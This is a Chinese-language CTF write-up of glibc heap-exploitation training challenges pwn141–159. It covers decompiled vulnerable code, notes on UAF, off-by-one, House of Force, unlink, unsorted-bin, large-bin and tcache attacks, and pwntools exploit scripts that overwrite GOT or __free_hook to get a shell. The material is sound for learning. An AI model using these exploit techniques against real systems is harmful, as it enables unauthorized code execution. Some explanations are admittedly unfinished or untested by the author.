堆利用-前置基础pwn141-159
基础不牢,地动山摇,遂来补天😭
pwn141
Hint : Use after free !
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| unsigned int add_note() { int v0; int i; int size; char buf[8]; unsigned int v5;
v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !*(¬elist + i) ) { *(¬elist + i) = malloc(8u); if ( !*(¬elist + i) ) { puts("Alloca Error"); exit(-1); } **(¬elist + i) = print_note_content; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = *(¬elist + i); *(v0 + 4) = malloc(size); if ( !*(*(¬elist + i) + 4) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *(*(¬elist + i) + 4), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full!"); } return __readgsdword(0x14u) ^ v5; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| unsigned int del_note() { int v1; char buf[4]; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( *(¬elist + v1) ) { free(*(*(¬elist + v1) + 4)); free(*(¬elist + v1)); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
|
思路:free 后未置空,uaf 改 put 指针为后门
add 两个 0x30 的 chunk,free掉(忽略掉tcache bins,懒得patch了)


根据FIFO,这时候申请一个0x10的chunk,就会把chunk1的指针chunk作为申请chunk的指针chunk,chunk0的指针chunk作为content chunk,在对应print指针的地方写入后门就把chunk0的print指针改掉了
1 2 3 4 5 6 7 8 9
| add(32, b'aaaa') add(32, b'bbbb')
delete(0) delete(1)
add(0x8, p32(0x8049684))
show(0)
|
pwn142
Hint : 堆重叠
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| unsigned __int64 create_heap() { __int64 v0; int i; size_t size; char buf[8]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !*(&heaparray + i) ) { *(&heaparray + i) = malloc(0x10uLL); if ( !*(&heaparray + i) ) { puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0, buf, 8uLL); size = atoi(buf); v0 = *(&heaparray + i); *(v0 + 8) = malloc(size); if ( !*(*(&heaparray + i) + 8LL) ) { puts("Allocate Error"); exit(2); } **(&heaparray + i) = size; printf("Content of heap:"); read_input(*(*(&heaparray + i) + 8LL), size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| unsigned __int64 edit_heap() { int v1; char buf[4]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + v1) ) { printf("Content of heap : "); read_input(*(*(&heaparray + v1) + 8LL), **(&heaparray + v1) + 1LL); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| unsigned __int64 show_heap() { int v1; char buf[4]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + v1) ) { printf("Size : %ld\nContent : %s\n", **(&heaparray + v1), *(*(&heaparray + v1) + 8LL)); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| unsigned __int64 delete_heap() { int v1; char buf[4]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + v1) ) { free(*(*(&heaparray + v1) + 8LL)); free(*(&heaparray + v1)); *(&heaparray + v1) = 0LL; puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
edit有off-by-one,delete没有uaf
思路:off-by-one可以伪造下一个chunk的heaparray chunk的size位,这样再申请的时候在新申请的chunk的heaparray chunk(也就是指针chunk)中记录的size就是我们伪造的size,从而造成堆溢出
然后用刚刚制造的堆溢出覆盖第二个堆的heaparray chunk的指向content chunk的指针为free_got,这样我们可以利用show来泄露libc,用edit来修改free_got为system函数,然后把chunk 0的内容改为/bin/sh再free它就可以实现system(‘/bin/sh’)
实现:
我们创建两个堆:chunk0:0x18,chunk1:0x10,利用off-by-one将第二个堆的heaparray chunk的size伪造成大于:
其大小 + 源数据区大小(0x10)+ 0x20(新申请的chunk的heaparray chunk的大小)=0x10+0x10+0x20=0x40
这时free掉chunk 1可以得到这样的bins:
0x20 [ 1]: 0x257b2c0 ◂— 0x0
0x40 [ 1]: 0x257b2a0 ◂— 0x0
从地址可以看出0x40的bins是包含了0x20的bins的,这样就构成了堆溢出(堆重叠)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| create(0x18, "aaaa") create(0x10, "bbbb")
edit(0, b"/bin/sh\x00" + p64(0x18) + p64(0) + b"\x41") delete(1) create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(elf.got['free']))
show(1) io.recvuntil(b"Content : ") data = io.recvuntil(b"Done !")
free = u64(data.split(b"\n")[0].ljust(8, b"\x00")) libc_base = free - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] edit(1, p64(system_addr)) delete(0)
|
pwn143
Hint : House of force Or Unlink !
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| __int64 add() { int i; int v2; char buf[8]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); if ( num > 99 ) { puts("Full"); } else { printf("Please enter the length:"); read(0, buf, 8uLL); v2 = atoi(buf); if ( !v2 ) { puts("Invaild length"); return 0LL; } for ( i = 0; i <= 99; ++i ) { if ( !*(&unk_6020A8 + 2 * i) ) { *(&list + 4 * i) = v2; *(&unk_6020A8 + 2 * i) = malloc(v2); printf("Please enter the name:"); *(*(&unk_6020A8 + 2 * i) + read(0, *(&unk_6020A8 + 2 * i), v2)) = 0; ++num; return 0LL; } } } return 0LL; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| unsigned __int64 delete() { int v1; char buf[8]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index:"); read(0, buf, 8uLL); v1 = atoi(buf); if ( *(&unk_6020A8 + 2 * v1) ) { free(*(&unk_6020A8 + 2 * v1)); *(&unk_6020A8 + 2 * v1) = 0LL; *(&list + 4 * v1) = 0; puts("free successful!!"); --num; } else { puts("invaild index"); } } else { puts("No"); } return __readfsqword(0x28u) ^ v3; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| unsigned __int64 edit() { int v1; int v2; char buf[8]; char nptr[8]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index:"); read(0, buf, 8uLL); v1 = atoi(buf); if ( *(&unk_6020A8 + 2 * v1) ) { printf("Please enter the length of name:"); read(0, nptr, 8uLL); v2 = atoi(nptr); printf("Please enter the new name:"); *(*(&unk_6020A8 + 2 * v1) + read(0, *(&unk_6020A8 + 2 * v1), v2)) = 0; } else { puts("Invaild index"); } } else { puts("Nothing here~"); } return __readfsqword(0x28u) ^ v5; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| int show() { int i;
if ( !num ) return puts("No"); for ( i = 0; i <= 99; ++i ) { if ( *(&unk_6020A8 + 2 * i) ) printf("%d : %s", i, *(&unk_6020A8 + 2 * i)); } return puts(&byte_401137); }
|
2.23的堆,add有整形溢出,edit有堆溢出
此外还有个指针chunk在开头

以及一个后门函数fffffffffffffffffffffffffffffffffflag()
1 2 3 4 5 6 7 8 9 10 11 12 13
| void __noreturn fffffffffffffffffffffffffffffffffflag() { int fd; char buf[104]; unsigned __int64 v2;
v2 = __readfsqword(0x28u); fd = open("/flag", 0); read(fd, buf, 0x64uLL); close(fd); printf("%s", buf); exit(0); }
|
两种打法:
House of Force:
本质上是修改top chunk的size来实现任意地址分配从而任意地址写,这题要写指针chunk的goodbye_message为后门然后通过选5调用后门
2.23和2.27没有检测size
1 2 3 4
| remainder = chunk_at_offset (victim, nb) =>victim+nb = top_chunk =>victim+request_size+0x10 = target_addr-0x10 =>request_size = target_addr-0x20-victim
|
victim为切割前的top chunk header地址
nb为实际要申请的内存大小
request_size为我们要填的申请的大小
top_chunk为切割后的top chunk header的地址
target_addr为篡改后topchunk header的地址,也就是我们要写入的目标地址
实际上就是计算target_addr和原来的top chunk header之间的偏移,再减去一个0x20就行,这里就是(0x2152010-0x2152060)-0x20 = -0x70


现在再分配就会从0x1392010处开始分配,比如我add一个0x10大小的chunk,其header就在0x1392000,data就在0x1392010处,add的时候填后门函数地址就行
1 2 3 4 5 6 7 8 9 10 11
| flag = elf.sym['fffffffffffffffffffffffffffffffffflag'] add(0x30, 'aaaa')
payload = 0x30 * b'a' payload += b'a' * 8 + p64(0xffffffffffffffff)
edit(0, 0x41, payload)
add(-0x70, b'bbbb') add(0x10, p64(flag)) get_flag()
|
Unlink:
覆盖fd,bk来将chunk移到chunk指针(0x6020a8)处,覆盖指针为free@got-0x18并泄露,申请个/bin/sh的chunk
申请一个0x40,两个0x80的chunk,在0x40的chunk里伪造一个size=0x41大小的chunk,其fd和bk分别为0x6020a8-0x18和0x6020a8-0x10,再将chunk1的P位覆盖为0,prev_size覆盖为0x40,这样就会后向合并,将fakechunk和chunk1合并,然后再根据fakechunk的fd和bk来进行unlink,见下图:



成功了
再edit chunk0,这时修改的就是0x602090,将chunk0对应的地方修改为free@got,show一下就能泄露libc,再edit chunk0就能修改free@got的值为system,再free chunk3即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| add(0x40, b'a' * 8) add(0x80, b'b' * 8) add(0x80, b'c' * 8) add(0x20, b'/bin/sh\x00')
ptr = 0x6020a8 fd = ptr - 0x18 bk = ptr - 0x10
fake_chunk = p64(0) fake_chunk += p64(0x41) fake_chunk += p64(fd) fake_chunk += p64(bk) fake_chunk += b'\x00' * 0x20 fake_chunk += p64(0x40) fake_chunk += p64(0x90)
edit(0, len(fake_chunk), fake_chunk) delete(1) payload = p64(0) + p64(0) + p64(0x40) + p64(elf.got['free']) gdb.attach(io) edit(0, len(fake_chunk), payload) show() free = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00')) lg("free") libc_base = free - libc.sym["free"] lg("libc_base") system = libc_base + libc.sym["system"]
edit(0, 0x8, p64(system)) delete(3) sl(b'whoami')
|
这里远程用libcsearcher打出来了,但是本地一动调到最后的edit就报错,有没有大佬知道是什么原因,欢迎留言

pwn144
Hint : Unsorted Bin Attacks Or Unlink !
输入114514且magic>=114514时进入后门函数TaT()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| unsigned __int64 create_heap() { int i; size_t size; char buf[8]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !heaparray[i] ) { printf("Size of Heap : "); read(0, buf, 8uLL); size = atoi(buf); heaparray[i] = malloc(size); if ( !heaparray[i] ) { puts("Allocate Error"); exit(2); } printf("Content of heap:"); read_input(heaparray[i], size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| unsigned __int64 edit_heap() { unsigned int v1; __int64 v2; char buf[4]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { printf("Size of Heap : "); read(0, buf, 8uLL); v2 = atoi(buf); printf("Content of heap : "); read_input(heaparray[v1], v2); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| unsigned __int64 delete_heap() { int v1; char buf[4]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + v1) ) { free(*(&heaparray + v1)); *(&heaparray + v1) = 0LL; puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
2.23的堆,bss的heaparray[ ]存堆地址,edit没有检查size,delete置空了
unlink肯定还是可以的:
上一题是unlink到heaparray上面一点,这题是用了两个指针,把 heaparray_3 unlink 到 heaparray_0,再edit 3改heaparray_0为magic,edit 0改magic为大于114514的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| # unlink create_heap(0x88, b'aaaa') create_heap(0x88, b'bbbbb') create_heap(0x88, b'ccccc') create_heap(0x88, b'ddddd') create_heap(0x88, b'eeeee')
# pwndbg> tele 0x6020c0 # 00:0000│ 0x6020c0 (heaparray) —▸ 0x228a010 ◂— 0xa61616161 # 01:0008│ 0x6020c8 (heaparray+8) —▸ 0x228a0a0 ◂— 0xa6262626262 # 02:0010│ 0x6020d0 (heaparray+16) —▸ 0x228a130 ◂— 0xa6363636363 # 03:0018│ 0x6020d8 (heaparray+24) —▸ 0x228a1c0 ◂— 0xa6464646464 # 04:0020│ 0x6020e0 (heaparray+32) —▸ 0x228a250 ◂— 0xa6565656565 heaparray_0 = 0x6020c0 heaparray_1 = 0x6020c8 heaparray_2 = 0x6020d0 heaparray_3 = 0x6020d8 heaparray_4 = 0x6020e0
fd = heaparray_3 - 0x18 bk = heaparray_3 - 0x10 magic = 0x6020a0 payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a' * 0x60 + p64(0x80) + p64(0x90) edit_heap(3, 0x90, payload) delete_heap(4) # pwndbg> tele 0x6020c0 # 00:0000│ 0x6020c0 (heaparray) —▸ 0x147e010 ◂— 0xa61616161 # 01:0008│ 0x6020c8 (heaparray+8) —▸ 0x147e0a0 ◂— 0xa6262626262 # 02:0010│ 0x6020d0 (heaparray+16) —▸ 0x147e130 ◂— 0xa6363636363 # 03:0018│ 0x6020d8 (heaparray+24) —▸ 0x6020c0 (heaparray) —▸ 0x147e010 ◂— 0xa61616161 # 04:0020│ 0x6020e0 (heaparray+32) ◂— 0x0 edit_heap(3, 8, p64(magic)) edit_heap(0, 8, p64(114515)) sl(b'114514')
|
根据hint这题还能打unsorted bin attack:
在 glibc/malloc/malloc.c 中的 _int_malloc
有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd
的位置写入本 Unsorted Bin 的位置。
1 2 3 4 5
| victim = unsorted_chunks (av)->bk bck = victim->bk unsorted_chunks (av)->bk = bck bck->fd = unsorted_chunks (av)
|
unsorted_chunks (av)相当于main_arena,victim是要删除的chunk,如果我们把victim->bk改为我们要指向的地址target_addr,那么main_arena的bk就会指向target_addr,bck也就是要删除的chunk的前一个chunk的fd就会指向main_arena,main_arena指向target_addr之后再申请就能写target_addr+0x10地址的内容了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| # unsorted bin attack create_heap(0x80, b"aaaa") # 0 create_heap(0x20, b"bbbb") # 1 create_heap(0x80, b"cccc") # 2 create_heap(0x20, b"dddd") # 3
delete_heap(2) delete_heap(0) magic = 0x6020a0 fd = 0 bk = magic - 0x10
edit_heap(1, 0x20 + 0x20, b"a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) gdb.attach(io) create_heap(0x80, p64(114515)) io.recvuntil(b":") io.sendline(b"114514")
|
(又不能动调)
pwn145
Hint : Why it can UAF(use after free) ?
1 2 3 4 5 6 7 8 9 10
| 演示glibc 的分配机制 glibc 使用首次适应算法选择空闲的堆块 如果有一个空闲堆块且足够大,那么 malloc 将选择它 如果存在 use-after-free 的情况那可以利用这一特性 首先申请两个比较大的 chunk 第一个 a = malloc(0x512) 在: 0x6032a0 第二个 b = malloc(0x256) 在: 0x6037c0 我们可以继续分配它 现在我们把 "AAAAAAAA" 这个字符串写到 a 那里 第一次申请的 0x6032a0 指向 AAAAAAAA
|


1 2 3 4
| 接下来只要我们申请一块小于 0x512 的 chunk,那就会分配到原本 a 那里: 0x6032a0 # 他这里的操作是c = (char *)malloc(0x500uLL); 但是size为什么是0x521 第三次 c = malloc(0x500) 在: 0x6032a0 我们这次往里写一串 "CCCCCCCC" 到刚申请的 c 中
|


1 2
| 第三次申请的 c 0x6032a0 指向 CCCCCCCC # fprintf(stderr, &byte_401578, c, c); => show(chunk2) 第一次申请的 a 0x6032a0 指向 CCCCCCCC # fprintf(stderr, &byte_4015A0, a, a); => show(chunk0)
|
好像就只是简单的过了一下uaf的过程,没啥东西
pwn146
同上,gdb打不出字懒得调了
pwn147
Hint : Fastbin_dup – Double free
简单来说就是glibc对double free做了检测:当前free的是否为fast bins中的第一个chunk
1 2 3 4 5 6
| if (__builtin_expect(old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; }
|
pwn148
Hint : Fastbin_dup_into_stack – Double free
1 2 3
| pwndbg> bins fastbins 0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
|
就是说修改0x603000的前八字节(fd)就能实现double free to stack (Fastbin_dup_into_stack)
1 2 3
| pwndbg> bins fastbins 0x20: 0x7fffffffdfa0 —▸ 0x603010 ◂— 0x0
|
pwn149
Hint : Fastbin_dup_consolidate
先申请fastbins范围的堆,free掉,再申请largebins范围内的堆,能触发malloc_consolidate()实现将fastbins变为unsorted bin,现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pwndbg> bins fastbins 0x20: 0x603000 ◂— 0x0
# malloc(0x400) largebins 触发 malloc_consolidate()
pwndbg> bins fastbins empty unsortedbin empty smallbins 0x20: 0x603000 —▸ 0x7ffff7bc4b88 (main_arena+104) ◂— 0x603000 largebins empty
|
动调的时候发现进了small bins,听anti✌️说就是会这样,取出来的时候会再通过unsortedbins取,但是看malloc_consolidate源码并没有发现有关代码,留坑
pwn150
Hint : Unsafe_Unlink
就是简单介绍了一下unlink的过程和原理
exp中经常会有的0x18和0x10
1 2 3
| ptr = 0x6020a8 fd = ptr - 0x18 bk = ptr - 0x10
|
是为了绕过
1 2
| # malloc_consolidate()中后向合并的代码 (P->fd->bk != P || P->bk->fd != P) == False
|
pwn151
Hint : House_of_spirit
pwn152
Hint : Posion_null_byte
pwn153
Hint : House_of_lore
House of Lore在glibc2.31上已经失效。没有考虑tcache开启,属于较老的一种利用。主要是指在有UAF漏洞的情况下,通过修改smallbins的bk实现在任意位置申请smallbins的利用方法。
众所周知,fastbins存在时申请largebins时会进行malloc_consolidate(),将fastbins放入unsortedbins中,然后根据大小放入不同的bins
绕过smallbins的检查:
1 2 3 4 5 6 7 8 9 10 11 12
| bck = victim->bk; if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin;
|
题目中:伪造两个在栈上的chunk

申请并释放一个fastbins大小的chunk,并在释放后将fd指向fake_chunk_1
1 2 3 4
| smallbins 0x70 [corrupted] FD: 0x603000 —▸ 0x7ffff7bc4bd8 (main_arena+184) ◂— 0x603000 BK: 0x603000 —▸ 0x7fffffffdfc0 —▸ 0x7fffffffdfa0 —▸ 0x7ffff7bc5620 (_IO_2_1_stdout_) —▸ 0x7ffff7bc56a3 (_IO_2_1_stdout_+131) ◂— ...
|
这时候申请两个跟victim chunk大小相同的chunk,第一个会返回victim chunk,并且其bk为fake_chunk_1,第二次返回的chunk就是这个bk,也就是fake_chunk_1
pwn154
Hint : Overlapping_chunks
就是个堆重叠
pwn155
Hint : Overlapping_chunks_2
高级一点的堆重叠
1 2 3 4 5 6
| 一开始分配 5 个 chunk chunk p1 从 0x2022010 到 0x20223f8 chunk p2 从 0x2022400 到 0x20227e8 chunk p3 从 0x20227f0 到 0x2022bd8 chunk p4 从 0x2022be0 到 0x2022fc8 chunk p5 从 0x2022fd0 到 0x20233b8
|
free p4然后把p2->size改为p2和p3加一起的size,这样free p2时进行后向合并的时候就会检测p4是否inuse并合并,合并完了再申请出来就能覆写p3的内容了
pwn156
Hint : Mmap_overlapping_chunks
本地动调与期望不符,跳了
pwn157
Hint : Unsorted_bin_attack
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备
就是将unsorted bins的bk改为target addr - 0x10,这样再malloc的时候就会把这个地址作为一个堆,把unsorted bin的地址给其fd和bk也就是target addr
pwn158
Hint : Large_bin_attack
跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数
分配6个堆
1 2 3 4 5 6
| large chunk 1 fastbin size chunk large chunk 2 fastbin size chunk large chunk 3 fastbin size chunk
|
fastbin size chunk防止合并,将前两个large chunk free掉
现在分配一个比他俩小的,会把第一个分割掉,剩余部分放回unsortedbin,第二个整理到largebin中(当chunk被插入unsortedbin的时候,如果我们再去申请,此时从unsortedbin末尾开始遍历,倘若遍历到的不符合我们的要求大小,那么系统会做sorted——重新把这个chunk放入smallbin或者largebin:)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> bins fastbins empty unsortedbin all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7bc4b78 (main_arena+88) ◂— 0x603360 /* '`3`' */ smallbins empty largebins empty
# malloc(0x90)
pwndbg> bins fastbins empty unsortedbin all: 0x6030a0 —▸ 0x7ffff7bc4b78 (main_arena+88) ◂— 0x6030a0 smallbins empty largebins 0x400-0x430: 0x603360 —▸ 0x7ffff7bc4f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */
|
free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <–> 0x6030a0 ]
largebin 大小对应相同index中的堆块,其在链表中的排序方式会按照大小排序,fd_nextsize指向比他小的最大的chunk,bk_nextsize指向比他大的最小的chunk(不同索引的largebin),并且是首位循环连接。
对于相同大小的堆块,最先释放的堆块会成为堆头,其fd_nextsize与bk_nextsize会被赋值,其余的堆块释放后都会插入到该堆头结点的下一个结点,通过fd与bk链接,形成了先释放的在链表后面的排序方式,且其fd_nextsize与bk_nextsize都为0。
对于不同大小的堆块通过堆头串联,即堆头中fd_nextsize指向比它小的堆块的堆头,bk_nextsize指向比它大的堆块的堆头,从而形成了第一点中的从大到小排序堆块的方式。同时最大的堆块的堆头的bk_nextsize指向最小的堆块的堆头,最小堆块的堆头的fd_nextsize指向最大堆块的堆头,以此形成循环双链表。

从看雪的一篇文章里找了张图,挺清楚的:https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458549353&idx=1&sn=b6b17cdbaa6923746ab4a34eef5e0f64&chksm=b0168034da9e525951cecf45677429a7d8975cd5770270c69bfc21a08a470b2d61e126f1cd6f&scene=27
假设有个漏洞,可以覆盖掉large chunk 2的 “size” 以及 “bk”、”bk_nextsize” 指针,减少large chunk 2的大小强制 malloc 把将large chunk 3插入到 largebin 列表的头部
后面这句话看不懂,留坑:
假设有个漏洞,可以覆盖掉第二个 chunk 的 “size” 以及 “bk”、”bk_nextsize” 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20
pwn159
Hint : Tcache_attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| int malloc666() { __int64 v1; int i; unsigned int v3;
for ( i = 0; i <= 9 && *(16LL * i + qword_202050); ++i ) ; if ( i == 10 ) return puts("full!"); v1 = qword_202050; *(v1 + 16LL * i) = malloc(0xF8uLL); if ( !*(16LL * i + qword_202050) ) { puts("malloc error!"); exit666(); } printf("size \n> "); v3 = choice(); if ( v3 > 0xF8 ) exit666(); *(16LL * i + qword_202050 + 8) = v3; printf("content \n> "); return read_content(*(16LL * i + qword_202050), *(16LL * i + qword_202050 + 8)); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| _QWORD *free_0() { _QWORD *result; unsigned int v1;
printf("index \n> "); v1 = choice(); if ( v1 > 9 || !*(16LL * v1 + qword_202050) ) exit666(); memset(*(16LL * v1 + qword_202050), 0, *(16LL * v1 + qword_202050 + 8)); free(*(16LL * v1 + qword_202050)); *(16LL * v1 + qword_202050 + 8) = 0; result = (16LL * v1 + qword_202050); *result = 0LL; return result; }
|
1 2 3 4 5 6 7 8 9 10
| int show() { unsigned int v1;
printf("index \n> "); v1 = choice(); if ( v1 > 9 || !*(16LL * v1 + qword_202050) ) exit666(); return puts(*(16LL * v1 + qword_202050)); }
|
2.27的堆,malloc中输入的size只是给heaparray记录size的地方赋值了一下,并不会影响分配的堆的大小0xf8,看一下malloc里面的read_content函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| _BYTE *__fastcall read_content(_BYTE *a1, int a2) { _BYTE *result; signed int v3;
v3 = 0; if ( a2 ) { while ( 1 ) { read(0, &a1[v3], 1uLL); if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 ) break; ++v3; } a1[v3] = 0; result = &a1[a2]; *result = 0; } else { result = a1; *a1 = 0; } return result; }
|
我们输入的size其实就是这里的a2,如果输入的size刚好等于0xf8,就会有off_by_null出现,小于就没有
tcache在分配完其中的7个堆块后如果再次分配,它会先从unsortedbin中把和要分配的堆块大小相同的堆块全部以单链表形式链入tcache的链表里然后再分配出来,如果unsortedbin中有三个及以上符合大小的堆块,当并入tcache时,你会发现中间的堆块其fd->bk以及bk->fd仍然指向它自身
分配十个堆(0-9)接下来构造一个这样的bins
unsortedbins
4->2->0
tcachebins
剩下7个只是填充一下,顺序无所谓
这时我们malloc(0),malloc(0xf8)分别申请出了chunk4和chunk2,并且chunk1的prev_inuse被off_by_null修改为0了(动调看出来的,不太理解为什么不是3),这时根据之前提到的,chunk0是在tcachebins里的,所以再分配6个chunk就能填满tcachebins,再free chunk1就会执行后向合并,将chunk合并进去,show一下就能泄露libc(chunk0此时还在tcache的开头,因为tcachebins是单链表,用的是尾插法)
后面free_hook改为onegg的部分本地环境不对动调不了,难受
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| def malloc(size=1, content=b""): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"> ", str(size)) io.sendlineafter(b"> ", content)
def free(index): io.sendlineafter(b"> ", b"2") io.sendlineafter(b"> ", str(index))
def puts(): io.sendlineafter(b"> ", b"3") io.sendlineafter(b"> ", b'8') for i in range(10): malloc() a = (9, 8, 7, 6, 5, 3, 1, 0, 2, 4) for i in range(10): free(a[i]) for i in range(7): malloc() malloc(0) malloc(0xf8) b = (0, 2, 3, 4, 5, 6)
for i in range(6): free(b[i]) free(1)
puts() io.recvuntil(b"> ") malloc_hook = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10 lg("malloc_hook") libc_base = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] one_gadget = libc_base + 0x4f322 for i in range(8): malloc() free(8) free(9) malloc(0x10, p64(free_hook)) for i in range(7): free(i) for i in range(7): malloc() malloc(0x10, p64(one_gadget)) free(0)
|